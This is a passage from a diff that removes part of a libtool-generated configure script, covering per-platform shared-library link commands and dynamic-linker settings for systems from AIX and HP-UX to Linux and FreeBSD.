- archive_cmds='$CC -b ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
- archive_cmds='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- archive_cmds='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- fi
- if test "$with_gnu_ld" = no; then
- hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator=:
-
- case $host_cpu in
- hppa*64*|ia64*)
- hardcode_libdir_flag_spec_ld='+b $libdir'
- hardcode_direct=no
- hardcode_shlibpath_var=no
- ;;
- *)
- hardcode_direct=yes
- export_dynamic_flag_spec='${wl}-E'
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L=yes
- ;;
- esac
- fi
- ;;
-
- irix5* | irix6* | nonstopux*)
- if test "$GCC" = yes; then
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec_ld='-rpath $libdir'
- fi
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator=:
- link_all_deplibs=yes
- ;;
-
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' # a.out
- else
- archive_cmds='$LD -shared -o $lib $libobjs $deplibs $linker_flags' # ELF
- fi
- hardcode_libdir_flag_spec='-R$libdir'
- hardcode_direct=yes
- hardcode_shlibpath_var=no
- ;;
-
- newsos6)
- archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct=yes
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator=:
- hardcode_shlibpath_var=no
- ;;
-
- openbsd*)
- hardcode_direct=yes
- hardcode_shlibpath_var=no
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols'
- hardcode_libdir_flag_spec='${wl}-rpath,$libdir'
- export_dynamic_flag_spec='${wl}-E'
- else
- case $host_os in
- openbsd[01].* | openbsd2.[0-7] | openbsd2.[0-7].*)
- archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec='-R$libdir'
- ;;
- *)
- archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec='${wl}-rpath,$libdir'
- ;;
- esac
- fi
- ;;
-
- os2*)
- hardcode_libdir_flag_spec='-L$libdir'
- hardcode_minus_L=yes
- allow_undefined_flag=unsupported
- archive_cmds='$echo "LIBRARY $libname INITINSTANCE" > $output_objdir/$libname.def~$echo "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~$echo DATA >> $output_objdir/$libname.def~$echo " SINGLE NONSHARED" >> $output_objdir/$libname.def~$echo EXPORTS >> $output_objdir/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/$libname.def'
- old_archive_From_new_cmds='emximp -o $output_objdir/$libname.a $output_objdir/$libname.def'
- ;;
-
- osf3*)
- if test "$GCC" = yes; then
- allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- allow_undefined_flag=' -expect_unresolved \*'
- archive_cmds='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- fi
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator=:
- ;;
-
- osf4* | osf5*) # as osf3* with the addition of -msym flag
- if test "$GCC" = yes; then
- allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- else
- allow_undefined_flag=' -expect_unresolved \*'
- archive_cmds='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- archive_expsym_cmds='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; echo "-hidden">> $lib.exp~
- $LD -shared${allow_undefined_flag} -input $lib.exp $linker_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib~$rm $lib.exp'
-
- # Both c and cxx compiler support -rpath directly
- hardcode_libdir_flag_spec='-rpath $libdir'
- fi
- hardcode_libdir_separator=:
- ;;
-
- solaris*)
- no_undefined_flag=' -z text'
- if test "$GCC" = yes; then
- wlarc='${wl}'
- archive_cmds='$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -shared ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$rm $lib.exp'
- else
- wlarc=''
- archive_cmds='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags'
- archive_expsym_cmds='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$rm $lib.exp'
- fi
- hardcode_libdir_flag_spec='-R$libdir'
- hardcode_shlibpath_var=no
- case $host_os in
- solaris2.[0-5] | solaris2.[0-5].*) ;;
- *)
- # The compiler driver will combine linker options so we
- # cannot just pass the convience library names through
- # without $wl, iff we do not link with $LD.
- # Luckily, gcc supports the same syntax we need for Sun Studio.
- # Supported since Solaris 2.6 (maybe 2.5.1?)
- case $wlarc in
- '')
- whole_archive_flag_spec='-z allextract$convenience -z defaultextract' ;;
- *)
- whole_archive_flag_spec='${wl}-z ${wl}allextract`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}-z ${wl}defaultextract' ;;
- esac ;;
- esac
- link_all_deplibs=yes
- ;;
-
- sunos4*)
- if test "x$host_vendor" = xsequent; then
- # Use $CC to link under sequent, because it throws in some extra .o
- # files that make .init and .fini sections work.
- archive_cmds='$CC -G ${wl}-h $soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds='$LD -assert pure-text -Bstatic -o $lib $libobjs $deplibs $linker_flags'
- fi
- hardcode_libdir_flag_spec='-L$libdir'
- hardcode_direct=yes
- hardcode_minus_L=yes
- hardcode_shlibpath_var=no
- ;;
-
- sysv4)
- case $host_vendor in
- sni)
- archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct=yes # is this really true???
- ;;
- siemens)
- ## LD is ld it makes a PLAMLIB
- ## CC just makes a GrossModule.
- archive_cmds='$LD -G -o $lib $libobjs $deplibs $linker_flags'
- reload_cmds='$CC -r -o $output$reload_objs'
- hardcode_direct=no
- ;;
- motorola)
- archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct=no #Motorola manual says yes, but my tests say they lie
- ;;
- esac
- runpath_var='LD_RUN_PATH'
- hardcode_shlibpath_var=no
- ;;
-
- sysv4.3*)
- archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_shlibpath_var=no
- export_dynamic_flag_spec='-Bexport'
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec; then
- archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_shlibpath_var=no
- runpath_var=LD_RUN_PATH
- hardcode_runpath_var=yes
- ld_shlibs=yes
- fi
- ;;
-
- sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[01].[10]* | unixware7*)
- no_undefined_flag='${wl}-z,text'
- archive_cmds_need_lc=no
- hardcode_shlibpath_var=no
- runpath_var='LD_RUN_PATH'
-
- if test "$GCC" = yes; then
- archive_cmds='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- fi
- ;;
-
- sysv5* | sco3.2v5* | sco5v6*)
- # Note: We can NOT use -z defs as we might desire, because we do not
- # link with -lc, and that would cause any symbols used from libc to
- # always be unresolved, which means just about no library would
- # ever link correctly. If we're not using GNU ld we use -z text
- # though, which does catch some bad symbols but isn't as heavy-handed
- # as -z defs.
- no_undefined_flag='${wl}-z,text'
- allow_undefined_flag='${wl}-z,nodefs'
- archive_cmds_need_lc=no
- hardcode_shlibpath_var=no
- hardcode_libdir_flag_spec='`test -z "$SCOABSPATH" && echo ${wl}-R,$libdir`'
- hardcode_libdir_separator=':'
- link_all_deplibs=yes
- export_dynamic_flag_spec='${wl}-Bexport'
- runpath_var='LD_RUN_PATH'
-
- if test "$GCC" = yes; then
- archive_cmds='$CC -shared ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds='$CC -G ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- fi
- ;;
-
- uts4*)
- archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec='-L$libdir'
- hardcode_shlibpath_var=no
- ;;
-
- *)
- ld_shlibs=no
- ;;
- esac
- fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ld_shlibs" >&5
-$as_echo "$ld_shlibs" >&6; }
-test "$ld_shlibs" = no && can_build_shared=no
-
-#
-# Do we need to explicitly link libc?
-#
-case "x$archive_cmds_need_lc" in
-x|xyes)
- # Assume -lc should be added
- archive_cmds_need_lc=yes
-
- if test "$enable_shared" = yes && test "$GCC" = yes; then
- case $archive_cmds in
- *'~'*)
- # FIXME: we may have to deal with multi-command sequences.
- ;;
- '$CC '*)
- # Test whether the compiler implicitly links with -lc since on some
- # systems, -lgcc has to come before -lc. If gcc already passes -lc
- # to ld, don't add -lc before -lgcc.
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether -lc should be explicitly linked in" >&5
-$as_echo_n "checking whether -lc should be explicitly linked in... " >&6; }
- $rm conftest*
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } 2>conftest.err; then
- soname=conftest
- lib=conftest
- libobjs=conftest.$ac_objext
- deplibs=
- wl=$lt_prog_compiler_wl
- pic_flag=$lt_prog_compiler_pic
- compiler_flags=-v
- linker_flags=-v
- verstring=
- output_objdir=.
- libname=conftest
- lt_save_allow_undefined_flag=$allow_undefined_flag
- allow_undefined_flag=
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$archive_cmds 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1\""; } >&5
- (eval $archive_cmds 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }
- then
- archive_cmds_need_lc=no
- else
- archive_cmds_need_lc=yes
- fi
- allow_undefined_flag=$lt_save_allow_undefined_flag
- else
- cat conftest.err 1>&5
- fi
- $rm conftest*
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $archive_cmds_need_lc" >&5
-$as_echo "$archive_cmds_need_lc" >&6; }
- ;;
- esac
- fi
- ;;
-esac
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking dynamic linker characteristics" >&5
-$as_echo_n "checking dynamic linker characteristics... " >&6; }
-library_names_spec=
-libname_spec='lib$name'
-soname_spec=
-shrext_cmds=".so"
-postinstall_cmds=
-postuninstall_cmds=
-finish_cmds=
-finish_eval=
-shlibpath_var=
-shlibpath_overrides_runpath=unknown
-version_type=none
-dynamic_linker="$host_os ld.so"
-sys_lib_dlsearch_path_spec="/lib /usr/lib"
-if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then
- # if the path contains ";" then we assume it to be the separator
- # otherwise default to the standard path separator (i.e. ":") - it is
- # assumed that no part of a normal pathname contains ";" but that should
- # okay in the real world where ";" in dirpaths is itself problematic.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
-else
- sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib"
-fi
-need_lib_prefix=unknown
-hardcode_into_libs=no
-
-# when you set need_version to no, make sure it does not cause -set_version
-# flags to be left without arguments
-need_version=unknown
-
-case $host_os in
-aix3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a'
- shlibpath_var=LIBPATH
-
- # AIX 3 has no versioning support, so we append a major version to the name.
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
-
-aix4* | aix5*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- hardcode_into_libs=yes
- if test "$host_cpu" = ia64; then
- # AIX 5 supports IA64
- library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- else
- # With GCC up to 2.95.x, collect2 would create an import file
- # for dependence libraries. The import file would start with
- # the line `#! .'. This would cause the generated library to
- # depend on `.', always an invalid library. This was fixed in
- # development snapshots of GCC prior to 3.0.
- case $host_os in
- aix4 | aix4.[01] | aix4.[01].*)
- if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)'
- echo ' yes '
- echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then
- :
- else
- can_build_shared=no
- fi
- ;;
- esac
- # AIX (on Power*) has no versioning support, so currently we can not hardcode correct
- # soname into executable. Probably we can add versioning support to
- # collect2, so additional links can be useful in future.
- if test "$aix_use_runtimelinking" = yes; then
- # If using run time linking (on AIX 4.2 or later) use lib<name>.so
- # instead of lib<name>.a to let people know that these are not
- # typical AIX shared libraries.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- else
- # We preserve .a as extension for shared libraries through AIX4.2
- # and later when we are not doing run time linking.
- library_names_spec='${libname}${release}.a $libname.a'
- soname_spec='${libname}${release}${shared_ext}$major'
- fi
- shlibpath_var=LIBPATH
- fi
- ;;
-
-amigaos*)
- library_names_spec='$libname.ixlibrary $libname.a'
- # Create ${libname}_ixlibrary.a entries in /sys/libs.
- finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$echo "X$lib" | $Xsed -e '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'\''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done'
- ;;
-
-beos*)
- library_names_spec='${libname}${shared_ext}'
- dynamic_linker="$host_os ld.so"
- shlibpath_var=LIBRARY_PATH
- ;;
-
-bsdi[45]*)
- version_type=linux
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib"
- sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib"
- # the default ld.so.conf also contains /usr/contrib/lib and
- # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow
- # libtool to hard-code these into programs
- ;;
-
-cygwin* | mingw* | pw32*)
- version_type=windows
- shrext_cmds=".dll"
- need_version=no
- need_lib_prefix=no
-
- case $GCC,$host_os in
- yes,cygwin* | yes,mingw* | yes,pw32*)
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
- dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo \$dlname'\''`~
- dldir=$destdir/`dirname \$dlpath`~
- test -d \$dldir || mkdir -p \$dldir~
- $install_prog $dir/$dlname \$dldir/$dlname~
- chmod a+x \$dldir/$dlname'
- postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
- dlpath=$dir/\$dldll~
- $rm \$dlpath'
- shlibpath_overrides_runpath=yes
-
- case $host_os in
- cygwin*)
- # Cygwin DLLs use 'cyg' prefix rather than 'lib'
- soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib"
- ;;
- mingw*)
- # MinGW DLLs use traditional 'lib' prefix
- soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';[c-zC-Z]:/' >/dev/null; then
- # It is most probably a Windows format PATH printed by
- # mingw gcc, but we are running on Cygwin. Gcc prints its search
- # path with ; separators, and with drive letters. We can handle the
- # drive letters (cygwin fileutils understands them), so leave them,
- # especially as we might pass files found there to a mingw objdump,
- # which wouldn't understand a cygwinified path. Ahh.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
- ;;
- pw32*)
- # pw32 DLLs use 'pw' prefix rather than 'lib'
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
- ;;
-
- *)
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
- ;;
- esac
- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-
-darwin* | rhapsody*)
- dynamic_linker="$host_os dyld"
- version_type=darwin
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${versuffix}$shared_ext ${libname}${release}${major}$shared_ext ${libname}$shared_ext'
- soname_spec='${libname}${release}${major}$shared_ext'
- shlibpath_overrides_runpath=yes
- shlibpath_var=DYLD_LIBRARY_PATH
- shrext_cmds='`test .$module = .yes && echo .so || echo .dylib`'
- # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same.
- if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"`
- else
- sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib'
- fi
- sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib'
- ;;
-
-dgux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-freebsd1*)
- dynamic_linker=no
- ;;
-
-kfreebsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-freebsd* | dragonfly*)
- # DragonFly does not have aout. When/if they implement a new
- # versioning mechanism, adjust this.
- if test -x /usr/bin/objformat; then
- objformat=`/usr/bin/objformat`
- else
- case $host_os in
- freebsd[123]*) objformat=aout ;;
- *) objformat=elf ;;
- esac
- fi
- version_type=freebsd-$objformat
- case $version_type in
- freebsd-elf*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- need_version=no
- need_lib_prefix=no
- ;;
- freebsd-*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix'
- need_version=yes
- ;;
- esac
- shlibpath_var=LD_LIBRARY_PATH
- case $host_os in
- freebsd2*)
- shlibpath_overrides_runpath=yes
- ;;
- freebsd3.[01]* | freebsdelf3.[01]*)
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- freebsd3.[2-9]* | freebsdelf3.[2-9]* | \
- freebsd4.[0-5] | freebsdelf4.[0-5] | freebsd4.1.1 | freebsdelf4.1.1)
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
- freebsd*) # from 4.6 on
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- esac
- ;;
-
-gnu*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- ;;
-
-hpux9* | hpux10* | hpux11*)
- # Give a soname corresponding to the major version so that dld.sl refuses to
- # link against other versions.
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- case $host_cpu in
- ia64*)
- shrext_cmds='.so'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.so"
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- if test "X$HPUX_IA64_MODE" = X32; then
- sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib"
- else
- sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64"
- fi
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- hppa*64*)
- shrext_cmds='.sl'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64"
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- *)
- shrext_cmds='.sl'
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=SHLIB_PATH
- shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
- esac
- # HP-UX runs *really* slowly unless shared libraries are mode 555.
- postinstall_cmds='chmod 555 $lib'
- ;;
-
-interix3*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
-
-irix5* | irix6* | nonstopux*)
- case $host_os in
- nonstopux*) version_type=nonstopux ;;
- *)
- if test "$lt_cv_prog_gnu_ld" = yes; then
- version_type=linux
- else
- version_type=irix
- fi ;;
- esac
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}'
- case $host_os in
- irix5* | nonstopux*)
- libsuff= shlibsuff=
- ;;
- *)
- case $LD in # libtool.m4 will add one of these switches to LD
- *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ")
- libsuff= shlibsuff= libmagic=32-bit;;
- *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ")
- libsuff=32 shlibsuff=N32 libmagic=N32;;
- *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ")
- libsuff=64 shlibsuff=64 libmagic=64-bit;;
- *) libsuff= shlibsuff= libmagic=never-match;;
- esac
- ;;
- esac
- shlibpath_var=LD_LIBRARY${shlibsuff}_PATH
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}"
- sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}"
- hardcode_into_libs=yes
- ;;
-
-# No shared lib support for Linux oldld, aout, or coff.
-linux*oldld* | linux*aout* | linux*coff*)
- dynamic_linker=no
- ;;
-
-# This must be Linux ELF.
-linux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- # This implies no fast_install, which is unacceptable.
- # Some rework will be needed to allow for fast_install
- # before this can be enabled.
- hardcode_into_libs=yes
-
- # Append ld.so.conf contents to the search path
- if test -f /etc/ld.so.conf; then
- lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s", \$2)); skip = 1; } { if (!skip) print \$0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;s/[:, ]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '`
- sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra"
- fi
-
- # We used to test for /lib/ld.so.1 and disable shared libraries on
- # powerpc, because MkLinux only supported shared libraries with the
- # GNU dynamic linker. Since this was broken with cross compilers,
- # most powerpc-linux boxes support dynamic linking these days and
- # people can always --disable-shared, the test was removed, and we
- # assume the GNU/Linux dynamic linker is in use.
- dynamic_linker='GNU/Linux ld.so'
- ;;
-
-knetbsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
